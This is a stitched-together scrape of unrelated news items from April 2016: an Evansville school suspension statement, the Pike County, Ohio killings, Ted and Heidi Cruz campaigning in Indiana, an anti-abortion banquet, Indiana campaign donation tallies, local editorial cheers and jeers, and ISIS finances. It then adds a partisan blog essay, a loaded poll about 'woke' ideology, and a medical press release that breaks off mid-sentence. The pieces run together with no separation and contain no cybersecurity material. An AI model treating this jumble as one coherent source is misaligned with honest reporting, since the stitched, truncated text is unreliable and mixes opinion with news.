The Evansville Police Department also issued a statement on the matter, saying it hasn't found any evidence of a law being broken.

"On Thursday morning, the Evansville Police Department was notified of an incident at an EVSC high school that has led to the suspension of an EVSC employee," the statement reads. "The details of the incident have been reviewed by an EPD investigator and as of this time, no evidence of a violation of Indiana Criminal Statutes has been uncovered. Unless additional facts are presented that show probable cause of a criminal act, the incident will not be handled as a criminal case."
Ambulances respond to reports of multiple deaths at several locations in Pike County, 75 miles east of Cincinnati on April 22, 2016.

(Photo: Jess Grimm/Chillicothe Gazette)

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Seven people, including a 6-month-old child and a newborn, were found shot to death Friday in rural Ohio in what the Ohio attorney general and local sheriff said was an "execution-style killing."



Officials said an eighth-body was also found in the county, but its connection to the killing spree was not immediately clear.



The seven initial victims, apparently all members of the same family, were found at three homes in the community of Peebles, 75 miles east of Cincinnati.



A joint statement by the office of Attorney General Mike DeWine and Pike County Sheriff Charles Reader, said no arrests had been made, but that the incident was not being treated as an active shooter situation."

"The investigation is in its very early stages, and authorities are still investigating to determine a motive, identify the deceased, and determine if the gunman is among the deceased individuals or on the loose," the statement said.



Phil Fulton, pastor of the Union Hill church, said the victims were all from the same family. Circumstances surrounding the shooting were not immediately clear.



Fulton said he received the information on victims from family members and law enforcement officials. He described the victims as a woman, her adult children and two grandchildren, and the woman's ex-husband.



A Pike County victims advocate said the victims included a 6 month old and a 5 day old child.



The pastor said the mother and children used to attend services at his church but hadnt been there for some time.



The bodies were found at several locations, according to the Adams County sheriff's office. Some media reports say bodies were found at three sites.



Dozens of officers from the Ohio Bureau of Criminal Investigation were on the scene at the request of Pike County Sheriffs Office.



Three ambulances were parked along Union Hill Road, which winds through a rural area of farms, widely spaced houses and open fields near Peebles, a town of 1,800 people. Police erected barricades to keep out traffic.

Several schools in the area were placed on lockdown as a precaution, although there was no immediate report that a suspect in the killings was on the loose.



The killings took place near the county line between Adams and Pike counties. Officers from both jurisdictions responded to the call, as did officers from Ross County.



In addition, the FBI office in Cincinnati said it is closely monitoring the situation in Pike County and has offered its assistance.




Heidi Cruz, wife of Republican presidential hopeful Ted Cruz, spoke with volunteers in Evansville on Friday morning.

SHARE MIKE LAWRENCE / COURIER & PRESS Heidi Cruz, wife of Republican presidential contender Ted Cruz, greets volunteers at their Evansville campaign headquarters during a visit Friday morning, April 22, 2016. MIKE LAWRENCE / COURIER & PRESS Heidi Cruz, wife of Republican presidential contender Ted Cruz, gets a welcoming hug from Evansville resident Grarce Fulton during a Friday morning visit to the Evansville Cruz campaign headquarters, April 22, 2016. MIKE LAWRENCE / COURIER & PRESS Heidi Cruz, wife of Republican presidential contender Ted Cruz, is greeted by building owner Michelle Peterlin as Cruz arrives at the Evansville campaign headquarters Friday morning, April 22, 2016. MIKE LAWRENCE / COURIER & PRESS With local and national media present, Heidi Cruz talks with campaign volunteers Friday morning during a visit to their Evansville campaign office, April 22, 2016.

By John Martin of the Courier and Press

The wife of Republican presidential contender Ted Cruz said her husband's willingness to go extra miles for his beliefs sets him apart.

The morning after Ted Cruz made his initial visit to Indiana, appearing at a GOP dinner and elsewhere in Indianapolis, Heidi Cruz appeared at the campaign's Evansville headquarters to greet volunteers. She spoke briefly and then worked the room, posing for selfies.

Heidi Cruz said the Texas senator has "fought for freedom of religion, for freedom of speech, for our Second Amendment rights and our privacy, and who is truly a believer in the 10th Amendment of returning power to the states."

Ted Cruz, his wife said, is a "consistent conservative" and a "straight shooter" who "is going to make this government work for you rather than all of us working for it."

She proudly noted Cruz's history of bucking Republican Senate leadership on various matters.

Here is some @tedcruz lit that's here, if you can read it. pic.twitter.com/tge8c7Dox0  John T. Martin (@ECPjohnmartin) April 22, 2016





A Californian, Heidi Cruz, 43, said she met Ted 16 years ago during George W. Bush's 2000 presidential campaign. The couple married a year later. According to a USA Today profile, she has been a managing director at Goldman Sachs since 2005, running its Houston wealth management unit, handling portfolios for clients with an average net worth of $40 million.

She also held positions in Bush's administration.

In Evansville, Heidi Cruz portrayed her husband in human terms, joking about his vast knowledge of movies and his deep love for their two young daughters and his parents.

"In spite of being such a warrior for our cause, for being so incredibly disciplined and brilliant, he is the most thoughtful, laid-back, unflappable person that I know," Heidi Cruz said. "People ask me if Ted's likeable. My daughters find that a very funny question. Anyone who knows Ted finds him incredibly likeable. ... He has an incredible group of friends. He's a great game player. He's a big movie buff."

Those who crowded into Cruz's campaign suite in an office building on John Street said they are impressed with the Cruzes.

"I think Ted is a sound politician who is principled, as Heidi just said," said Peter Emery of Evansville, a retiree who came with his 91-year-old father, David. "I believe in the Constitution. It's a fundamental thing that's made our country great. I don't need somebody to make it great again. I need somebody who can follow the principles that made it great to start with."

Joyce Perry, also a retiree from Evansville, said she likes Ted Cruz "for the exact things his wife just said. He's a principled man. I believe he will do what he says he will do. He would govern by the Constitution. He's not going to be like (Donald) Trump who's going to invent things as he goes along. He knows Obamacare is a bad thing for the country. ... He's about reinventing the tax structure, abolishing the IRS. I don't think he'll govern like the current president, with executive orders."

Vanderburgh County Republican Chairman Wayne Parke, who is supporting Ohio Gov. John Kasich in the primary, was on hand to greet Heidi Cruz.

Parke said there likely will be more GOP campaign visits to Evansville before the May 3 primary, including possibly by candidates themselves and not just their surrogates.

"Indiana has become critical, which is nice for a change," Parke said.
DENNY SIMMONS / COURIER & PRESS Jayci Bradtmiller, 8, and her mom, Laura Bradtmiller of Evansville share dessert at the Southwest Indiana Right to Life banquet at the Old National Events Plaza Thursday evening.

SHARE DENNY SIMMONS / COURIER & PRESS Crossroads Christian Church singers perform "Press On" at the Southwest Indiana Right to Life banquet at the Old National Events Plaza Thursday evening. DENNY SIMMONS / COURIER & PRESS Steven Mattingly, (left) Luke Hassler (center) and Thomas Shetler get together before the start of the Southwest Indiana Right to Life banquet at the Old National Events Plaza Thursday evening. DENNY SIMMONS / COURIER & PRESS A steady stream of guests arrive at the Southwest Indiana Right to Life banquet at the Old National Events Plaza Thursday evening.

By Zach Evans of the Courier and Press

While it's a main fundraiser and yearly update on the Southwest Indiana Right to Life nonprofit, the organization's annual banquet on Thursday was also a who's who of local politics.

The banquet, one of the biggest anti-abortion rallies in the country, takes place ahead of the party primary elections  a time when candidates have to assert themselves as being more electable and more appealing to the conservative base.

While many state office holders and candidates were in Indianapolis for the Republican Spring Dinner featuring presidential candidate Ted Cruz and Gov. Mike Pence, Southwest's event still drew a slew of candidates for federal, state and local offices.

According to the group, it's the largest Right to Life gathering in the nation.

Johnny Kincaid, a former local radio personality and political newcomer, speaks regularly at the annual dinner, and this year was no different.

Kincaid is running for the Republican nomination in the race for Indiana House District 77 against Henrietta Jenkins and Billy D. Garrett.

"I think the most important thing is that I believe in the sanctity of life. And whatever we can do legislatively to help the unborn we definitely want to do," Kinkaid said.

Jenkins also attended Thursday. She said the abortion issue itself  not the opportunity to mingle with voters  is what drew her to the event. The issue is critical to her, Jenkins said, especially when it comes to educating young women about their options.

"We hope that woman would take the life of a child into a consideration and deter her from making that decision," she said about abortion. "I don't come to everything as a photo opportunity or campaign opportunity. I came because this is an issue that hits home."

Jenkins and Kinkaid were far from the only rivals in attendance. Larry Bucshon and Richard Moss, primary opponents for U.S. House, sat a few tables apart, as did County Commissioner rivals Cheryl Musgrave, Alex Schmitt and Brenda Bergwitz. Indiana House 64 foes Thomas Washburne and Ann Ennis also rubbed elbows.

And while Cruz and Pence spent the evening in Indianapolis, U.S. Senate candidate Marlin Stutzman made the trip to Evansville. Stutzman will face Rep. Todd Young in the May primary  a race that's drawn national attention.

Wayne Parke, Vanderburgh County GOP chairman, said Stutzman's attendance was proof as to how popular the annual event has become.

"I talked to Marlin, and he said 'I'm not in Indianapolis. I'm down here where the voters are,'" Parke said. "It's very important (as a campaign event), but our main purpose being here tonight is supporting the right to life group. But it draws a lot of people."

The keynote speakers were Alan and Lisa Robertson. Alan is the son of Phil and the brother of Willie Robertson, stars of the popular television series "Duck Dynasty." Past speakers include Ben Carson and Sarah Palin. Heidi Cruz, wife of Ted Cruz, was expected to be attendance on Thursday, but wasn't a speaker.

While the anti-abortion issue is usually associated with the Republican party, there was at least one self-proclaimed Democrat among Thursday's attendees. Jess Harper, 31, said a candidate's stance on abortion plays heavily on her decision when she steps into the voting booth.

"I'm a registered nurse and anyone that I'm going to vote for, I want them to respect the lives of everyone," she said. "It doesn't matter their age or gestation."

She said often resorts to writing letters to Democratic candidates to attempt to swing them to her side of thinking.

"It's a good factor of how the candidates are going to take care of us as a whole," she said, "if you think about how they're going to take care of our babies."
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By Maureen Groppe, IndyStar / USA TODAY NETWORK

WASHINGTON  A conservative group trying to stop GOP front-runner Donald Trump from winning the presidential nomination has a $1.5 million message for Hoosiers.

Only Ted Cruz can beat Donald Trump, says the television ad that will start Friday. To stop Trump, vote for Cruz.

The ad, which will run statewide, is being paid for by the Club for Growth Action, the political arm of the small-government, anti-tax group headed by former Indiana Rep. David McIntosh.

The group, which has endorsed the Texas senator, has run ads against Trump in several states.

Indiana is the latest target, McIntosh said, because of its ability to keep Trump from getting a majority of delegates before the Republican National Convention in July.

There is now no state more important than Indiana for electing Cruz and keeping Trump from reaching 1,237 (delegates), McIntosh said in a statement.

The National Journal recently reported that Indiana has emerged as Cruzs top priority. His campaign hopes to replicate its success in Wisconsin, where Cruz won most of the delegates after beating Trump by 13 percentage points.

Cruz had the backing of Wisconsin Gov. Scott Walker.

Indiana Gov. Mike Pence has not endorsed a candidate.

Pence is meeting with Cruz before tonights state GOP dinner, just as Pence met with Trump before Trumps Indianapolis rally Wednesday.

Ohio Gov. John Kasich, the other Republican on the ballot, has the most announced support from Indianas 57 delegates. The delegates were chosen by party officials before the May 3 primary but have to vote on the first ballot at the convention for the winner of the state primary or the winner of the congressional district they represent. After that, the delegates can vote for someone else.

The Club for Growth Action ad aims to persuade those who dont want Trump as the nominee to vote for Cruz instead of Kasich. Voting for Kasich, the ad argues, helps Trump by dividing the opposition.

If you dont want Donald Trump to win, your choice comes down to this: math, the ad says. Only Ted Cruz can beat Donald Trump. John Kasich cant do it. The math wont work.

Trump, with at least 845 delegates, remains the only GOP candidate who can win the nomination outright through the primary process. Cruz's mathematical path to a majority of Republican delegates now involves winning over some of the couple of hundred unbound delegates at the convention. He has 559 delegates now. And Kasich, with at least 149, hopes for a win after multiple rounds of voting when many delegates would be free to vote their conscience.

But Cruz has advantages over Kasich in the battle to emerge as the alternative to Trump. Cruz's sizable delegate lead means Kasich won't be able to close the gap, even with a strong second-place finish to Trump in next week's East Coast primaries.

For now, Kasich continues to insist he must stay in the race because he is the only Republican who consistently polls ahead of Democrat Hillary Clinton.

Hoping for some assistance, Kasich's staff has urged anti-Trump political action committees to spend against him on the East Coast. The groups ran ads against Trump in previous primaries, where Cruz benefited, but declined to buy expensive New York airtime ahead of Tuesday's primary. Kasich's campaign, therefore, has suggested the groups might actually support Cruz instead of wanting to stop Trump at all costs.

"Donald Trump will not be the nominee  if the Never Trump forces get serious. They werent serious in New York and allowed Trump to get over 50 percent in numerous districts where he could have been stopped," Kasich strategist John Weaver wrote in a memo Tuesday night. "Continued lack of engagement by Never Trumpers could allow the Trump campaign to get back on track."

Weaver switched tactics Wednesday, sending an email to reporters detailing a strategy on how Trump can be stopped in upcoming primaries, with some specific recommendations on where to focus advertising. By flashing a road map to the public, the campaign effectively telegraphed its thoughts to leaders of the anti-Trump PACs.

The leading anti-Trump super PAC, Our Principles, finished March with less than $500,000.

Club for Growth Action had about $2.1 million.

Top donors to the PAC include Arkansas brothers Warren Stephens, an investment banker, and Jackson T. Stephens Jr., head of a biotechnology firm. Each has given $2.25 million, according to disclosure reports.

McIntosh said Club for Growth Action opposes Kasich because of his positions on health care and other issues, and because he cant take the GOP nomination away from Trump.

The group is trying to stop Trump because he would lose the general election and could take down House and Senate candidates with him, endangering the political makeup of the Supreme Court, McIntosh said.

Hoosiers who want a genuine conservative, pro-growth president should back Ted Cruz, he said.

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Cincinnati Enquirer reporters Chrissie Thompson and Jeremy Fugleberg and USA TODAY reporter Deidre Shesgreen contributed to this story.
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By Stephanie Wang, IndyStar / USA TODAY NETWORK

Addressing a crowd of Indiana Republican stalwarts, U.S. Sen. Ted Cruz pitched himself for president Thursday by holding up the Hoosier state as an example of job creation and reduction of government.

You want to unleash jobs? Then lift the boon of the federal government off of the backs of small businesses, Cruz said. Of course, Im not telling anyone here anything you dont know, because the state of Indiana has been an incredible example of doing just that.

The Republican senator from Texas touted Indianas tax cuts under Gov. Mike Pence, the growth of private-sector jobs and Indianas school choice movement.

He was the only one of the three Republican presidential candidates to accept an invitation to attend and speak to the crowd of 800 at the Indiana Republican Partys Spring Dinner, said state GOP leader Jeff Cardwell. But with the hotly contested presidential race, all the candidates are campaigning in Indiana to fight to win votes in the May 3 primary.

Cruz named jobs, freedom and security as his top three issues. He took jabs at his opponents, both Republican and Democrat, and at the federal government.

If I am elected president, we will repeal every word of Obamacare. We will pass a simple flat tax and we will abolish the IRS, Cruz said, later adding on immigration: And we will stop amnesty and secure the borders and end sanctuary cities and end welfare benefits for those here illegally.

He opposed federal regulations on coal that he said would deeply affect manufacturing jobs in Indiana.

It doesnt make any sense having the federal government destroying the livelihoods of the men and women of this state, Cruz said.

Outside the dinner at Primo Banquet Hall, a small group of protesters stood with Pence Must Go signs as attendees drove in.

Kevin Warren, the protests organizer, said he anticipated Pence would endorse Cruz for president.

Theyre two peas in a pod, Warren said. They're very dangerous for our country and our state."

Cruzs campaign stop comes a day after his opponent Donald Trump held a rally attended by thousands at the Indiana State Fairgrounds. Each requested to meet privately with Pence, who said he is looking for a partner in the White House who will help advance policies on the federal level that will enable states like Indiana to build on this progress.

The third Republican presidential candidate, Ohio Gov. John Kasich, plans to campaign in Indianapolis on Tuesday.

Cruz kicked off his Indianapolis visit at Shapiros deli, where he spent an hour shaking hands with supporters.

"Ted! Get the corned beef!" a supporter called out to the presidential candidate.

But Cruz took a recommendation from deli owner Brian Shapiro for pastrami on rye. His supporters still cheered as Cruz held up his chosen sandwich to show the packed crowd.

Shapiro said Cruz's staff wanted him to take the sandwich to go. "Let him sit down and eat," Shapiro said. So he did.

Leslie Gebby, 28, of Indianapolis, told Cruz that she was praying for him.

I really felt that religious connection, she said. I just wanted him to know other Christians are supporting him.

Alex Ramirez, 47, of Fishers, said he liked Cruzs Christian values and felt the candidate stood up for fundamental Constitutional rights.

I think if he won the presidency, he would bring a little morality back that we desperately need right now, Ramirez said.

Cruz addressed those values later at the Republican Party event, stressing their importance after the death of Supreme Court Justice Antonin Scalia. He said he would appoint only a principled constitutionalist who will be faithful to the law and who will not legislate from the bench.

If you care about religious liberty, if you care about the Second Amendment right to keep and bear arms, if you care about the fundamental Bill of Rights, Cruz said, every one of our rights is one liberal justice away from being stripped away.

Cruz said he would be a candidate who could win the general election for Republicans: Donald is not the best candidate to go head-to-head with Hillary, he said.

It took Jimmy Carter to give us Ronald Reagan. And I am convinced that the longest lasting legacy of Barack Obama is going to be a new generation of leaders in the Republican Party who stand and fight, who stand and fight for the Constitution, Cruz said, and who stand and fight for the Judeo-Christian values that built this great nation.

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Star reporters Tony Cook, Chelsea Schneider and Brian Eason contributed to this story.
A campaign poster at Bernie Sanders' office in Muncie.

SHARE Presidential hopeful Sen. Ted Cruz, R-Texas, raised $122,666 from Hoosiers in March, compared with $19,856 given to Ohio Gov. John Kasich and $8,082 collected by GOP front-runner Donald Trump.

By Maureen Groppe, IndyStar / USA TODAY NETWORK

WASHINGTON  Vermont Sen. Bernie Sanders and Texas Sen. Ted Cruz raised more Hoosier dollars than other presidential candidates for the third month in a row, disclosures to the Federal Election Commission show.

But Democratic front-runner Hillary Clinton continues to be the top recipient of itemized contributions from Indiana.

There have been no public polls on Hoosier voters preferences ahead of the May 3 primary.

Campaign contributions are an indicator of support, but not a perfect one.

For example, GOP front-runner Donald Trump, who has raised less in Indiana than any of the remaining candidates, has paid for most of his campaign out of his own pocket. Several of the candidates who are no longer running raised far more from Indiana throughout the campaign than did Trump.

But voters continued financial support of Sanders has helped him stay in the race despite the long odds of beating Clinton and winning the Democratic nomination.

She can lose every remaining primary and still clinch the nomination, according to The Associated Press.

Sanders would have to capture 73 percent of the remaining delegates and uncommitted super delegates to catch Clinton.

Sanders believes he can still win a majority of pledged delegates, then make the case to super delegates  unpledged party leaders and elected officials who are free to support the candidate of their choice  that he's better positioned than Clinton to take on the Republican nominee.

Sanders raised about $46 million nationwide in March, compared with Clintons $27 million.

In Indiana, Sanders received $180,286 in itemized contributions. (The identities of donors who give $200 or less dont have to be disclosed.) Clinton received $69,500.

But Clinton has collected nearly $800,000 from Hoosiers since the race began, compared with about $530,000 for Sanders.

On the Republican side, Cruz raised $122,666 from Hoosiers in March, compared with $19,856 given to John Kasich and $8,082 collected by Trump.

Cruz raised $537,760 from Indiana throughout the campaign, dwarfing the $75,112 collected by Kasich and the $31,137 received by Trump.

Charlie Hocker, a retiree from Greensburg who is volunteering for Cruz, said he got behind the Texas senator after watching all the debates.

We need people who will take a stand, Hocker said. I think the country is moving too far to the left.

Cruz hopes to make a strong stand in Indiana's primary, potentially his best chance of stopping Trump from securing a majority of the delegates before the July convention.

___

Indiana contributions to presidential candidates, 2015 through March 2016

Hillary Clinton: $797,237.

Ted Cruz: $537,760.

Ben Carson: $533,532.

Bernie Sanders: $530,213.

Jeb Bush: $354,259.

Marco Rubio: $259,058.

John Kasich: $75,112.

Rand Paul: $70,564.

Scott Walker: $40,308.

Carly Fiorina: $38,366.

Donald Trump: $31,137.

Chris Christie: $24,525.

Mike Huckabee: $11,754.

Rick Santorum: $7,960.

Martin O'Malley: $7,640.

Lindsey Graham: $7,500.

Larry Lessig: $3,863.

Bobby Jindal: $3,450.

Jim Webb: $1,050.

Indiana contributions to presidential candidates, March 2016

Bernie Sanders: $180,286.

Ted Cruz: $122,666.

Hillary Clinton: $69,550.

John Kasich: $19,856.

Marco Rubio: $14,523.

Ben Carson: $8,772.

Donald Trump: $8,082.

Mike Huckabee: $575.

___

Source: Federal Election Commission. Amounts are for cumulative contributions of $201 or more. Donors who gave less do not have to be identified.

(Only Clinton, Sanders, Trump, Cruz and Kasich remain in the race.)
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Cheers to the volunteers and organizers of the Honor Flight of Southern Indiana, who helped 80 veterans of World War II and the Korean War take dream trips to Washington, D.C., last Saturday to visit monuments to their service. And cheers to the thousands who packed Evansville Regional Airport to welcome home the veterans. This was the fourth Honor Flight out of Evansville, with a fifth scheduled for Oct. 22. The flights are free to the veterans, who can register for upcoming trips at honorflightsi.org.

Jeers to the news, as reported by our own Richard Gootee, that heroin usage and deaths is on the rise in Southwestern Indiana. There were six fatal heroin overdoses in Evansville in 2015, and already this year there have been three. The Vanderburgh County Prosecutor's Office held a symposium on opiate drug addiction on Monday, and 200 people attended to learn more about the problem and to discuss possible solutions.

Cheers for the many Earth Day celebrations scheduled for today (Saturday, April 23). On the West Side of Evansville, both Franklin Street and Mesker Park Zoo will be hopping. Downtown, in the Haynie's Corner Arts District, the annual Funk in the City festival will take place from 10 a.m. to 4 p.m. Here's hoping for weather that mirrors last weekend, when temperatures were warm and skies were sunny.

Cheers to two recently retired writers from our sister newspaper in Henderson, The Gleaner. Chuck and Donna Stinnett are two of the newest members of the Kentucky Journalism Hall of Fame. At the ceremony in Lexington, Chuck, a former business editor, and Donna, a former features editor, who both joined The Gleaner in 1980, were lauded not only for their newspaper exploits but for their community efforts. Earlier this month, former Courier & Press writers Dan Korb and Pete DiPrimio were inducted into the Indiana Sportswriters and Sportscasters Hall of Fame.

Cheers to Old National Bank, which announced that more than $3.1 million has now been distributed to 26 local charities within its footprint, including more than $500,000 in Evansville. To continue those good works, a unique community fundraising event is coming up which features local celebrity chefs who prepare their favorite recipes for guests to sample. This year's Evansville "100 Men Who Cook" event will be Aug. 27 at the Old National Events Plaza and will benefit Ark Crisis Child Care Center. Tickets are $100 per person or $1,000 for a table of 10 (call 812-468-0376 or email 100menwhocook@oldnational.com). To apply to be the 2017 beneficiary, email 100menwhocook@oldnational.com. Applications are due June 30.

Cheers to Dr. Linda Bennett, the president of the University of Southern Indiana and, now, the recipient of the Rotary Club of Evansville's annual Civic Award. She is the third USI president to be honored with Rotary's top honor, given out since 1927, joining H. Ray Hoops (2004) and David Rice (1985). "Members of her faculty were so passionate that she deserved this award," said Pepper Mulherin, chairman of the Civic Award selection panel. "Her contributions to our community are more than significant. I think she's a transformational leader."

Jeers to the Vanderburgh County Commissioners, who changed current and former employees' voluntary retirement plan without, apparently, giving them much chance for input. Whether or not the new plan is better, the optics are bad, considering commissioner Joe Kiefer's son will benefit financially from the deal. Kiefer recused himself from the 2-0 vote, and Bruce Ungethiem and Steve Melchior said the relationship had no bearing on their decision.
Yazidis gather at the shrine of Sheikh Adi ibn Musafir to celebrate their new year with the lighting of candles in Lalish, north of Mosul, Iraq, on April 19, 2016. Iraq has the biggest population of Yazidis worldwide with Lalish being their principal holy site.

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By Jim Michaels, USA TODAY

The U.S.-led coalition air campaign has incinerated about $500 million of the Islamic States cash stockpiles and cut its oil revenues by an estimated 50%, according to a senior defense official.

The Islamic State has been forced to ration fuel in some areas and cut pay by half to its fighters and government officials in regions it controls, according to the official, who asked not to be named in order to discuss intelligence issues.

U.S. officials have said the air campaign combined with local ground forces in Iraq and Syria have dealt the Islamic State setbacks in recent months, saying the terror group has lost 40% of the territory it once controlled in Iraq. We've got the momentum, Defense Secretary Ashton Carter said last week.

The statistics for the first time quantify the impact the air campaign and U.S.-backed local ground forces have had on the Islamic States finances and its military capabilities.

Two years after the Islamic State swept into Iraq, capturing large swaths of territory and defeating a large portion of the Iraqi army, the terror group remains badly weakened and on the defensive.

At its peak, it moved forces and equipment boldly around the battlefield and established its often brutal rule over towns and cities. The group posted videos of its fighters killing captured Iraqi soldiers. Foreign fighters flocked to the group in Iraq and Syria, where it pledged to set up a caliphate and appeared unbeatable.

Today, the group has to move around Iraq and Syria in small teams to avoid airstrikes and is increasingly shifting to guerrilla tactics.

The Islamic State, which is also called ISIS or ISIL, is struggling to replace its fighters who are now being killed at a rate of 1,500 to 2,000 a month, the official said. Only enough foreign fighters enter Iraq and Syria to replace about 25% of those who are being killed every week.

That has forced the Islamic State to replace fighters by conscripting men in areas they control. As their territory shrinks they have been turning to younger and less experienced fighters and have also had to press some government officials into military service, the official said.

Alarmed by the losses, Islamic States leaders in Raqqa met and decided to overhaul much of their military hierarchy, firing some combat leaders and executing others, the official said. Some of those who were executed were combat leaders in eastern Syria, where the Islamic State has suffered recent defeats at the hands of U.S.-backed opposition forces.

The official cautioned that the Islamic State is not defeated and remains a potent threat in the region that is also capable of striking in Europe and elsewhere. The Islamic State still controls Raqqa, a city that serves as its de facto capital in Syria, and Mosul, Iraqs second largest city. They have dedicated fighters, many of whom would fight without a paycheck.

Analysts agree. ISIS is getting weaker, but that doesnt mean their demise is around the corner, said Stephen Biddle, a professor at George Washington University and an analyst at the Council on Foreign Relations.

The official and analysts said the group has been forced to make some tough decisions about what terrain is worth defending, since it is spread too thin to protect everything it once controlled. "It looks like a strategic choice to marshal resources in areas that have more economic importance," Biddle said.

Last year, Iraqi forces backed by U.S. airstrikes took Ramadi from Islamic State militants, in a major defeat for the militant group. The militants held the city as long as they could and then withdrew when they realized they were doomed.

Iraqs forces have continued to drive militants out of the Euphrates River Valley west of Ramadi, most recently recapturing the town of Hit.

Hit was a linchpin for ISIL, Army Col. Steve Warren, a spokesman in Baghdad, said. Clearing Hit hampers their ability to move foreign fighters and supplies into the Euphrates River Valley, and sets the stage for future offensive operations.

Iraqs U.S.-backed forces face a more formidable challenge in Mosul. They will likely experience a militant force of about 6,000 fighters, 10 times the size of the militant force in Ramadi. Any final assault in the city is likely months away, though initial operations to isolate the city have already begun.

Unlike al-Qaeda and other terrorist groups, the Islamic State has seized and attempted to govern territory and manage resources. This gave the group a propaganda advantage, because it claimed to be restoring an Islamic caliphate, but it also provided the coalition with more opportunities to attack them.

Last year the U.S.-led coalition expanded its air campaign to target the groups revenue sources. The terror group was hauling in about $80 to $90 million a month last fall, the official said. About 50% of it came from oil revenue.

By targeting the Islamic States oil infrastructure, the coalition estimates it has reduced production by 30% and the groups oil revenue by 50%, since most of what it is selling now is inferior quality, the official said.

It has also targeted the groups large stores of cash, which is mostly in U.S. dollars. The coalition has targeted cash warehouses and distribution sights about 15 times in recent months. Intelligence estimates range from $200 million to $1.3 billion, the official said. He said the most plausible estimate is $500 million.
"A Republic, if you can keep it."



Why is everyone so anxious to elect a president based on the "vote of the majority"? This country is not a democracy. It is a republic. (look it up). The cliche' "Democracy is two wolfs and a sheep voting on what's for dinner" is true even if it is a cliche'. This is an expanded visit to a previous post located here. The primaries are not an election; they are a private group (club if you will) of Democrats or Republicans parties whose interest is more in the party survival than the election of a President. Just ask the publisher about the "Club" mentality. They make up the rules. While it may seem like a rigged system, political parties have been the root of all our politics since the founding. We should never try to turn our national election process into popular vote. (see above)Local and congressional elections by popular vote allow the voters to choose what is in their best interest. However, local elections are usually broken down into districts, counties or cities. The people elected locally are accountable to a smaller group of voters. To do the same with a National Election would be to invite the larger Population States to elect the rulers of the smaller States. We fought a war over that and other issues once.States' Rights was hijacked by the 'Slavery is our Right' crowd during the 1800's but it could just as easily be the "You have no right to Gun" or "You owe me Free Tuition" crowd during the 2016's.Now The Donald is moaning about the "Crooked System"' which he was more than happy to play in when he was donating money to politicians (including Hillary and Bill) to get preferred treatment on Land acquisitions and tax breaks for his projects. I agree with his assessment in one way. It is a crooked system. The fault is the voters for the continued election of the same people who have created this system. Now there is a movement afoot to set term limits on Congress. What the hell do you think the election every two years is?Our problem in this country is the "POGO Theorem". We have not only met the enemy, we have embraced the enemy. If we can take from the achievers and producers and give to the moochers and losers, is there no end to what the government can do to individuals? Does that sound a bit harsh? When we decided that the government could fix our problems by taking from some and giving to others, we chose the path that lead to our current mess. When the government decides who needs help it creates a system of moochers and losers who are more than willing to sell their votes for handouts.When the drunk was laying in the gutter and saw the Cadillac drive by, he had it just about right. "There but for me, go I"! If you disagree, I suggest you get out your checkbook and write a check to your favorite charity, or perhaps take in a few homeless people and feed them. If you do not want to do that, maybe you could persuade your elected representative to stop adding pages to the tax code that has become so convoluted it is ripe for misuse and abuse. That includes the personal home interest deduction, and charitable deduction.If you look at your tax form this year, take your total tax paid and divide it by your total income before deductions. That is your effective tax rate. Next year try to just do that and send the check to Uncle Sam. Most likely you will pay the same taxes and not have to worry about deductions, exemptions or which footnote in the tax code you can use to defray the cost of the system you have voted for repeatedly. But Uncle Sam will not allow that. He is more interested in how and where you earned your money so he can continue to tweak the tax system to extract more from some and less from others.Better still, why not just have a Fair Tax, based on how much you spend and not how much you make. It should not be anyone's business on how much you make unless they are trying to divide us into groups that they can pit against each other. Politicians do that with race, money, and every other difference between humans. Fair Tax Website You may think you can transfer your Christian responsibility to the government, but you cannot transfer your guilt. If you are not a Christian, then you can follow whatever belief you have that may or may not include charity or helping others. Do not worry, if you ever find yourself in need of help, one of the Christians still left will be honor bound to help you because that is their mandate as a Christian. If none of that works for you, then maybe you can just take care of your own family and relatives and there may be no need for huge charitable foundations that are founded for tax avoidance rather than actual charity.Back to The Donald, who keeps telling us that he has the most votes. Well, that is just not true. He has more votes than any other candidate does. He does not have the most votes. He only has 40% of the vote total. If there were a 'None of the above ' candidate, it is possible that he would be a has-been candidate like the rest. He is a master of the divide and conquers approach, which most conservatives complain about the liberals.One of the pundits made a statement recently that stuck with me."You have to be selected by the party before you can win the general election. Pi$$ off the party and you probably will not be in the general election".Here is a chart of the current popular vote total so far (4/20/2016) in the Republican primary. Real Clear Politics Donald Trump's delegate count is roughly the same percentage as his popular vote count (about 40%). It takes a majority (and not a plurality) of delegates to win the party nomination which Donald is well on his way to achieving. Do you remember the party unity discussion in the first debate. It was designed to provide unity for the party's eventual candidate.I suspect that the ship has left the dock, but let us not fool ourselves that we are making a change for the anti-establishment. You cannot build multiple casinos and hotels without being part of the establishment. While DT may in fact be very adept in pointing out the imperfections in our system, he is a product of those imperfections and not the solution. Of course, if he is the selected Republican Candidate, I will vote and support him because the alternative is beyond my comprehension for this country. Because he is used to running things as an autocrat, I will also watch for the abuse of his presidential powers just as closely as I have with the current president.But like I have said before, I will do so like I am reading the morning paper on the porcelain privy. I will turn on the fan and endure the process because it goes with the territory.Ben Franklin may have been a prophet in 1787 when he answered the question. "Well, Doctor, what have we got-a Republic or a Monarchy?"
It has been far too many years since the Woke theology interlaced its canons within the fabric of the Indoctrination Realm, so it is nigh time to ask: Does this Representative Republic continue, as a functioning society of a self-governed people, by contending with the unusual, self absorbed dictates of the Woke, and their vast array of Victimhood scenarios?

Yes, the Religion of Woke must continue; there are so many groups of underprivileged, underserved, a direct result of unrelenting Inequity; they deserve everything.

No; the Woke fools must be toppled from their self-anointed pedestal; a functioning society of a good Constitutional people cannot withstand this level of "existential" favoritism as it exists now.
Press Release:

GREENVILLE In a study recently published by a national medical journal, physicians at the Brody School of Medicine at East Carolina University (ECU) and Vidant Medical Center (VMC) demonstrate how a new type of technology is helping them diagnose lung cancers earlier.The study, published in the Journal of the National Comprehensive Cancer Network (JNCCN), examined the impact of adding electromagnetic navigational bronchoscopy (ENB) to a multidisciplinary thoracic oncology program like the one at Leo W. Jenkins Cancer Center (LWJCC)  a joint venture between Brody and Vidant Health.Physicians at LWJCC, began using ENB as a diagnostic tool in 2012. The ENB is similar to a car's GPS, or global positioning system. It's a minimally invasive device that provides the physician with a three-dimensional roadmap of the lungs and facilitates access to hard-to-reach areas so suspicious nodules can be evaluated. With the introduction of ENB, some lesions that were previously inaccessible could be biopsied and even treated.said Dr. Mark Bowling, director of interventional pulmonology.Bowling explained that the study aimed to examine the effect of this new device on the way cancer is diagnosed in a multidisciplinary clinic. Researchers compared the two years of data collected since the introduction of ENB with the two years before the introduction with respect to the stages of cancers diagnosed and the rates of fiducial marker placement, which are tracking markers for targeted 